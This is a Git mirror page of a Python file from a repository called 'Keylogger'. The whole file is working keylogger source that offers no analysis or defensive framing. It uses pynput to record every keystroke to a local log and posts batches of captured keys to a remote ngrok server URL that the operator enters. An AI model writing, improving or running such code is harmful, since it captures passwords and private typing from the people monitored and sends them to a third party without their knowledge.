mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 11:35:50 +00:00
a35bf73821
This reverts commit 1133fbcdef51b7a73205b3f8d2af04ea842fe88c, reversing
changes made to d75b15c7bd.
104 lines
3.1 KiB
Python
104 lines
3.1 KiB
Python
import logging
|
|
from pynput.keyboard import Listener, Key
|
|
import os
|
|
import requests
|
|
import time
|
|
|
|
print(r"""
|
|
_ __ _
|
|
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
|
|
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
|
|
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|
|
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|
|
|___/ |___/ |___/
|
|
0.1
|
|
|
|
|
|
|
|
|
|
GitHub:https://github.com/Stalin-143
|
|
""")
|
|
|
|
|
|
|
|
# Ask user for the desired log file location
|
|
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
|
|
|
|
# Ensure the log directory exists
|
|
log_dir = os.path.dirname(log_location)
|
|
if not os.path.exists(log_dir) and log_dir != "":
|
|
try:
|
|
os.makedirs(log_dir, exist_ok=True) # Allows creation if directory doesn't exist
|
|
except PermissionError as e:
|
|
print(f"PermissionError: {e}")
|
|
print("Please ensure you have permission to write to the specified path.")
|
|
exit()
|
|
|
|
# Configure logging to write to the specified location
|
|
logging.basicConfig(
|
|
filename=log_location,
|
|
level=logging.DEBUG,
|
|
format="%(asctime)s: %(message)s"
|
|
)
|
|
|
|
# Store the captured keys temporarily before sending them to the server
|
|
buffer = []
|
|
|
|
# Ask user for the ngrok server URL
|
|
url = input("Enter the ngrok server URL (e.g., https://xxxx-xxxx.ngrok-free.app): ")
|
|
|
|
# Function to send log data to the web server
|
|
def send_log_to_server():
|
|
global buffer
|
|
if buffer:
|
|
try:
|
|
log_data = ''.join(buffer)
|
|
response = requests.post(url, data={"log": log_data})
|
|
|
|
if response.status_code == 200:
|
|
print("Log sent successfully!")
|
|
else:
|
|
print(f"Failed to send log. Server responded with status: {response.status_code}")
|
|
|
|
# Clear the buffer after sending
|
|
buffer = []
|
|
|
|
except Exception as e:
|
|
print(f"Error sending log: {e}")
|
|
|
|
# Function to handle key press events
|
|
def on_press(key):
|
|
global buffer
|
|
|
|
try:
|
|
# Capture the key press and format it
|
|
if hasattr(key, 'char') and key.char is not None:
|
|
key_str = f"Key pressed: {key.char}"
|
|
else:
|
|
# Handle special keys
|
|
key_str = f"Special key pressed: {key}"
|
|
|
|
# Log the key
|
|
logging.info(key_str)
|
|
buffer.append(key_str + "\n") # Add to buffer
|
|
|
|
# If buffer reaches a certain size, send the log
|
|
if len(buffer) >= 10: # Adjust batch size as needed
|
|
send_log_to_server()
|
|
|
|
except Exception as e:
|
|
print(f"Error logging key: {e}")
|
|
|
|
# Function to handle key release events (optional)
|
|
def on_release(key):
|
|
# Stop listener when 'esc' is pressed
|
|
if key == Key.esc:
|
|
return False
|
|
|
|
# Start listening for keyboard events
|
|
with Listener(on_press=on_press, on_release=on_release) as listener:
|
|
listener.join()
|
|
|
|
# Send logs when the listener stops (or periodically if needed)
|
|
send_log_to_server()
|